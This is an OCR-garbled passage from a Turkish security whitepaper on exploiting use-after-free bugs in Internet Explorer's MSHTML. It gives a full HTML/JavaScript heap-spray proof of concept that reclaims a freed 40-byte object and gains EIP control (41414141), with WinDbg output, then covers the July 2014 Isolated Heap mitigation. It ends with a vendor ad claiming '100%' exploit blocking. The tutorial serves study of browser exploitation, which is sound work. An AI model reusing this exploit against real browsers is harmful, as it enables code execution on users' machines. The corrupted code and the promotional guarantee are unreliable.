2-) Page heap hedef process icin aktif iken , windbg ile mevzu fonksiyona breakpoint koyarak ve theap —-p —a
pointer komutu ile her alloc islemini dump ederek bulabiliriz.

3-) Page heap enable iken PoC kodunu ¢alistirip crash’i gérdikten sonra windbg satirina ;
? 0x1000-(register&oxo00000FFF) komutunu yazarak bulabiliriz.

En kolay ve kisa yontem olan, G¢incy yontemi uygulayalim;

(134 . 44c): Access wiolation — code 0000005 (fir=t chance)

Fir=st chance exception= are reported before any exception handling.

Thi= exception may be expected and handled.

eax=086c9bd8 ebx=06400c28 ecx=04412840 =edx=0441a7f8 e=zi=0441a840 =di=090defd3

eip=6td021lfed esp=0441a7cl =bp=0441a7d0 iopl=0 nv up 21 pl =r na pE nc
c==001k ===0023 d==0023 e==0023 f{f==003Lb g==0000 ef1=00010246
MSHTHML | CHarkupFPointer : : HoveToReference+lxlc:

cd0z2lfed £f60708 test byte ptr [edil].® d=s:0023:090d=efda="

0:007: 7 0=x1000-{edié0=00000FFF )
Evaluate expressicon: 40 = 000000285 E::i::?[jbjectSize

Free edilen object’in boyutunun 40 byte (0x28) oldugunu gériyoruz. Bu komutla object size’i bulmak icin page
heap ‘in enable olmasi gerektigini unutmayin. Cinkd burada aslinda page heap 'in her bir object alloc islemi icin
bir page tahsis edip, yarattigi objectleri de page’in sonuna yerlestirme 6zelliginden faydalaniyoruz.

Free edilen objenin boyutunu da tespit ettikten sonra , artik yapmamiz gereken uygulamadaki free islemi
gerceklestikten sonra ayni boyutta (4obytelik )kendi objemizi olusturarak, isletim sisteminin bize freelists’deki
bir onceki ayni boyuttaki heap yiginini vermesini saglamak.

Bunun icin Heap Spray kodumuzu asagidaki gibi dizenliyoruz;

<IDOCTYPE html>
<html>
<body>

<script>
function vuln(){

document.body.contentEditable = 'true';

var e@ = document.createElement("frameset");

document.body.appendChild(e®);

e0.appendChild(document.createElement ( "AAAAAAAAAAAAAAA™)) ;
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e@[ 'bo
rder']="'-4400000000'; e0.focus();}, false);

ed.setAttribute('iframe’);

document.body.insertBefore(e0);
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}

function trigger() {

//Bir onceki free-ed object size = 40 byte

//fakeobject = 38 adet ‘A’ (%u4l) . 2 byte null terminator da gelince 40 byte

var fakeobject =
unescape("%u4141%ud141%udl141%udlal%udlalsualslsualaludlalnudlalnudlalnudlsl%udslal%udlals
u4141%u4141%ud141%u4141%ud141%usl1a1™);

//div elementlerini olustur
var mem = new Array(1000);
for(i =0; i < mem.length; i++) {
mem[i] = document.createElement('div');

}

//zafiyeti tetikle
vuln();

//className property ile 40 bytelik AAA... stringler allocate et
for(i = @0; i < mem.length; i++) {
mem[i] = mem[i].className = fakeobject;

}
}

function refresh(){
location.reload();
}

setTimeout("refresh()",500);

</script>

<body onload="trigger();'>
</body>

</html>

className property’lerin ayni process heap’de string alloc edildiginden ve size’ini bizim berlirleyebildigimizi
Heap Spray scriptini incelerken gérmustik

Yukaridaki kodda bu dogrultuda, free edilen pointerin boyutu kadar yani 4o bytelik bir fakeobject degiskeni
olusturduk. Fakeobject degiskeninde 38 adet “"A” karakteri var ancak className property * e atiyoruz ve string
olarak alloc edildigi igin 2 byte null terminator da otomatik geliyor ve toplamda 40 byte oluyor.

Yeni PoC kodumuzu ¢alistiralim ve debugger‘da durumu gérelim;
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Command - Pid 884 - WinDbag:6.12.0002.633 X86

(374 . 6f0): Access wviolation — code 0000005 {(fir=t chance)
Fir=st chance exceptionz are reported before any exception handling.

Thi= eEception mavy be expected and handled.
eax=00000001 ebx=00000000 ecx=03517b68 ed=x=00a%6tc0]l e=i=00a%ced =edi=41414141

2ip=6d022772e ezp=0269z208 ebp=0269z224 iopl=10 nv up 21 pl nz na pE nc
c==001b ===00223 d==0023 e==0023 {f==003b g==0000 ef1l=00010206
MSHTHL | CHarlkupPointer: GetContentPoszition+0=76

6402272 8b0O7 o 2ax, dwvord ptr [edi] d=:0023:41414141="777777977
0:006: g

(374 6f0): Access wiolation — code 0000005 (11l s=econd chance [11)
eax=00000001 =bx=00000000 ecx=03517b68 edx=00a%6tcl]l e=i=00a%ced4 edi=41414141
e1p=6d402272e e=p=0269c208 ebp=0269c224 1opl=0 nv up i1 pl nz na pe nc
c==001b ===0023 d==0023 e==0023 f==003b g==0000 ef 1=00010206
MSHTHML | CHarkupPointer:  GetContentPositiont+lz76

64022722 8BO7 o gax,dword ptr [edi] d=:0023:41414141=777777977
0:006: g

WARNING: Continuing a non—continuable exception

(374 6f0): Access wiolation — code 0000005 (fir=st chance)

First chance ezceptions are reported before any exception handling.

Thi=z exception mavy be expected and handled.

eax=00000001 ebx=00000000 ecx=03517b68 edx=00a%6cl]l e=i=00a%ced4 edi=41414141

e1p=6d402272e e=sp=0269c208 ebp=0269c224 1opl=0 nv up i1 pl nz na pe nc
ce=001b ===0023 d==0023 e==0023 f==003b g==0000 efl=0001020¢6
MSHTHL | CHarkupPointer: GetContentPozition+0=76

64022722 8bO7 mow eax,.dvord ptr [edi] d=:0023:41414141=77777777
0:006: g

(374 .6£0): Access wviolation — code 0000005 {(first chance)
Fir=t chance exceptionz are reported before any exception handling.

Thi= exception mavy be expected and handled.
eax=00000000 =bx=00000000 ecx=41414141 ed==776b0bdt =e=1=00000000 e=di=00000000

2ip=41414141 e=p=026%bccl ebp=026%bc=0 iopl=0 hv up 21 pl 2r na pe hoc
c==001b ===0023 d==0023 e=s=0023 f==003b g==0000 ef1=00010246
41414141 7?7 Cara

Bingo! Gordiginiz Uzere , Heap Spray ve Fake obje olusturarak uygulamay kandirdik ve Pointer kontroliny
basariyla sagladik. Bundan sonraki asama, klasik ROP / Shellcode yerlestirme ve degistirdigimiz uygulama
akisinda kendi kodumuzu calistirmaktir.

Isolated Heap

2014 Temmuz ‘ dan itibaren Microsoft, IE icin yeni bir yama yayinladi. Gelen bu yamayla beraber, IE artik iki
farkli heap kullanmaya basladi. Oncesinde browser bitin objeler icin default process heap'i kullanirken , artik
kritik objeler igin izole yeni bir heap, diger objeler icin ise process heap kullanmaya basladi. Bu yama siphesiz
yeni bir exploit zorlastirma 6rnegiydi. Microsoft bu zorlastirma ile dogrudan pointer zafiyetlerinin istismarin
onlemeyi ve heap spray yontemini zorlastirmayi hedef ald.

Yukarida 6rnegini de yaptigimiz Uzere, bitin objelerin ayni process heap’de tutulmasi bizim heap spray ile free
edilen bir objeyle ayni heap chunkini kullanmamimizi ve pointer kontrolini mUmkin kiliyordu. Ancak yama
sonras! artik, heap spray ile olusturdugumuz objeler farkli bir heap alaninda, olasi pointer zafiyetlerinin
bulundugu kritik IE objeleri ise farkli bir heap alaninda yer almakta.

Dolayisiyla klasik heap spray metodu ile artik istedigimiz pointer Gzeirnde kontrol saglayamiyoruz. Asagida,
Isolated Heap ve Process Heap ile ilgili bir ¢izimi gorebilirsiniz;



SIGNALSEC

BEVOND INTELLIGENCE Use After Free Zafiyetleri ve Browser Exploiting | 18

Biitin IE Kullanicinin Kritik |IE
Objeleri olusturdugu objeleri

objeler

Process Heap Process Heap Isolated Heap

Temmuz 2014 dncesi Temmuz 2014 sonrasi

Asagida yine bir IE MSHTML objesinin Temmuz 2014 6ncesi ve Temmuz 2014 sonrasi hangi heap’de allocate
edildiginin disassembly olarak gosterimi mevcut;

push 34h ; duBytes
push 8 ; dwFlags

push g hProcessHeap>; hHeap
call HeapAlloct@i2 ; HeapAlloc(x,x,®)

Temmuz 2014 sonrasi

mov edi, edi
push eCcx ; duBytes
push 8 ; duFlags

push g_hlIsolatedHeap: ; hHeap
call _HeaphIiocE 5 HeapAlloc(x,x,x)

Daha 6nce kullandigimiz Heap Spray scriptini Temmuz 2014 sonrasi IE'de calistirip , olusturdugu objelerin hangi
heap alaninda alloc edildigini gorelim.

0:029> = —a 0xz00000000 Oxz0fffffff "TRAPMIHE"

N27££f03d 54 52 41 50 44 49 4= 45-0d 0a 76 61 72 20 6d 65 TRAPHMINE. .
02817330 54 52 41 50 4d 49 4= 45-00 00 00 00 00 00 00 OO THRAPHMINE..
034d=455 54 52 41 50 4d 49 4e 45-0d 0a 76 61 72 20 6d 65 TRAPHINE. .
N38f=200 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 00 OO TRAPMINE. .
03901=45 54 52 41 50 4d 49 4e 45-0d 0a 76 61 72 20 6d 65 TRAPHMINE. .
03905028 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 00 OO TRAPHINE..
03909648 54 52 41 50 4d 49 4= 45-00 00 00 00 00 00 00 OO TRAPHMINE..
03909=48 54 52 41 50 4d 49 4e 45-00 00 0d Qa 3c 73 63 72 TRAPHMINE. .
0390beal 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 00 OO TRAPHINE..
0390ceal 54 52 41 50 4d 49 4= 45-00 00 00 00 00 00 00 OO TRAPHMINE. .
0390deal 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 00 OO TRAPHMINE..
0:029: lheap —=x 0390ceal

Entrv T=zer Heap Segnent Size PrevSize [nused

0390z=88 0390ce=%0 002=0000 03810000 4=108 4=E50 8

0:029: dd mshtml!g_hPFrocessheap L1
£d9850d8 00Z2=0000
0:029> dd mshtmllg_hl=zolatedheap L1
£d9852=0 02830000

Gordiguniz gibi Heap Spray ile olusturdugumuz objeler Processheap ‘de tutulmaktadir, ancak zafiyete konu
muhtemel objeler ise IsolatedHeap’de tutulmaktadir. Izole heap oldukga gizel bir exploit zorlastirma teknigi
olmakla birlikte uygun sartlar olustugunda, ¢gesitli ydntemlerle bypass edilmesi mimkindur.
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Trapmine

Sifir Gun Aciklarina Karsi %100 Koruma

Gelismis siber saldirilarin ilk giris noktasini istemci tarafli givenlik agiklari ve istismar kodlari (exploit)
olusturmaktadir. Tehdit aktorleri bazen, hedefin Gnemine gore heniiz yamasi ve imzasi mevcut olmayan sifir
gun exploitleri kullanmaktadir. Bilinen exploitleri kullanmay: tercih ettiklerinde ise exploit kodunu ¢esitli
yontemlerle paketleyerek, karmasiklastirarak geleneksel givenlik ¢ozimlerini atlatmaktadirlar.

TRAPMINE , imza ve gincelleme gerektirmeyen, CPU tabanli koruma teknolojisiyle, istemcileri hedef alan
gelismis saldirilara kargi etkin bir koruma saglamaktadir. inovatif teknolojimiz ile istemci tarafli bilinen ve

bilinmeyen exploitlere karsi %100 engelleme garantisi vermekteyiz.

Trapmine ile ilgili detayh bilgi igin : http://www.trapmine.com
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